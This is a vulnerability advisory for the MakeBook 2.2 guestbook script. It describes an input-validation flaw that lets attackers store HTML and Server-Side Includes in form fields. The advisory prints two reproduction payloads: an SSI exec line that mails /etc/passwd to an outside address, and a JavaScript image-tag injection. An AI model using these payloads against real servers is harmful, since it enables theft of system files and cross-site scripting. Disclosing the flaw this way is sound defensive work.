MakeBook Form Field Input Validation Vulnerability

Bugtraq ID:	4996
Class:	Input Validation Error
CVE:	CVE-2002-0948
Remote:	Yes
Local:	No
Published:	Sep 12 2001 12:00AM
Updated:	Jul 11 2009 01:56PM
Credit:	Discovery of this issue is credited to b0iler.
Vulnerable:	Scripts For Educators MakeBook 2.2 - Apache Apache 1.3.24 - Apache Apache 1.3.24 - Apache Apache 1.3.23 - Apache Apache 1.3.23 - Apache Apache 1.3.22 - Apache Apache 1.3.22 - Apache Apache 1.3.20 - Apache Apache 1.3.20
Not Vulnerable:

MakeBook Form Field Input Validation Vulnerability

The MakeBook guestbook software does not sufficiently sanitize potentially dangerous characters from form field input. This may enable attackers to inject arbitrary HTML into form fields, which will be stored on guestbook pages. Additionally, it has been demonstrated that SSI (Server-Side Includes) may also be injected in this manner, and may be executed depending on the underlying environment.

MakeBook Form Field Input Validation Vulnerability

The following examples may be used to reproduce this condition.

Server-Side Include example:

Name: <!--#exec cmd="/bin/mail address@host < /etc/passwd"-->

HTML Injection example:

Name: <img src="javascript:alert('test');">

MakeBook Form Field Input Validation Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.


Scripts For Educators MakeBook 2.2

• Scripts For Educators makebook.tar.gz
  http://tesol.net/scripts/makebook.tar.gz

MakeBook Form Field Input Validation Vulnerability

References:

• MakeBook Homepage (Scripts For Educators)
  
• MakeBook v2.2 (b0iler)